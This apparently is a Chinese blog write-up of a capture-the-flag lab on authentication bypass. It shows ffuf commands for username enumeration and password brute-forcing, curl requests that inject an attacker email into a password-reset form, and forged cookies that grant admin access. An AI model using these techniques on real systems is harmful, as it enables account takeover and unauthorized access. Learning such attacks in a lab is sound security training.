Authentication Bypass (身份验证绕过)

用户名的枚举


在用户注册页面,尝试输入用户名admin并在其他表单字段中填写虚假信息尝试登录,会返回一个页面提示 An account with this username already exists(该用户已经被使用)

根据上述提示信息,使用fuff工具去fuzz枚举出已经存在的相关用户名
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/signup -mr "username already exists"

上述参数中

  • -w 为字典路径
  • -X 为请求方式,这里使用POST
  • -d 为post请求添加的数据,其中要fuzz枚举的地方使用FUZZ替代
  • -H 为添加http请求头
  • -u 为要请求的url地址
  • -mr 为正则匹配响应的内容,其包含字符串"username already exists"

如果没有SecLists这个字典的话,使用sudo apt install seclists来进行安装
通过扫描得到四个用户admin,robert,simon,steve

我们将其保存到valid_usernames.txt文件之中,来为下一步的暴力破解做准备


暴力破解


这里,同样使用fuff工具配合已经fuzz出来的用户名在登录页面进行暴力破解

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

上述参数中

  • -w 字典:参数名,分别使用valid_usernames.txt作为fuzz的W1参数,10-million-password-list-top-100.txt作为fuzz的W2参数
  • -X 请求方式为POST请求
  • -d POST请求参数中,W1为参数username的值,W2为参数password的值
  • -H http请求头
  • -u 请求的url地址
  • -fc 过滤页面响应状态码 只过滤200状态响应码

这里我们爆破出用户名steve的密码为thunder


逻辑缺陷


使用上面爆破出来的用户名密码进行登录,在Support Tickets处有这样提示:Tickets can be created using the below button or by sending an email to your custom address steve@customer.acmeitsupport.thm (可以发送邮件到steve@customer.acmeitsupport.thm来创建凭证),该功能与邮箱类似,我们可以将其看作为内部应用邮箱

来到用户密码重置页面,对用户密码重置功能进行测试,提示输入用户邮箱,这里使用robert@acmeitsupport.thm

然后会提示让我们输入对应的用户名
为了更加直观,我们在这里使用burp抓个包

然后尝试修改post参数,添加一个email参数email=attacker@hacker.com

也可以使用题目中所提示的
curl 'http://MACHINE_IP/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=attacker@hacker.com'

经过测试,发现成功的修改了重置用户密码凭证接受的目标邮箱,即该处存在逻辑缺陷

根据题目提示,我们需要得到用户robert的票据凭证

那么来到用户注册的地方,注册一个攻击者用户hacker,其中的邮箱地址为hacker@customer.acmeitsupport.thm

来到重置密码的地方,进行抓包,将email的地址改为我们攻击者用户接收凭证的邮箱地址,然后发送

也可以使用题目所给的提示,

curl 'http://MACHINE_IP/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email={username}@customer.acmeitsupport.thm'

最后登录hacker用户,发现已经收到了该密码重置的凭证,

打开该密码重置凭证链接

成功登录到robert用户,拿到其flag


cookie的篡改


根据题目提示打开页面http://MACHINE_IP/cookie-test
在未登录的情况下,显示Not Logged In

在登录的时候尝试修改参数添加logged_in=true,admin=false保持不变

curl -H "Cookie: logged_in=true; admin=false" http://MACHINE_IP/cookie-test

这时候页面会显示Logged In As A User

当我们将admin的参数从false改为true并登录时

curl -H "Cookie: logged_in=true; admin=true" http://MACHINE_IP/cookie-test

这时候页面会显示 Logged In As An Admin,并成功拿到其flag

常见的cookie序列

Hash值破解:https://crackstation.net/

posted @   一阵风's  阅读(39)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示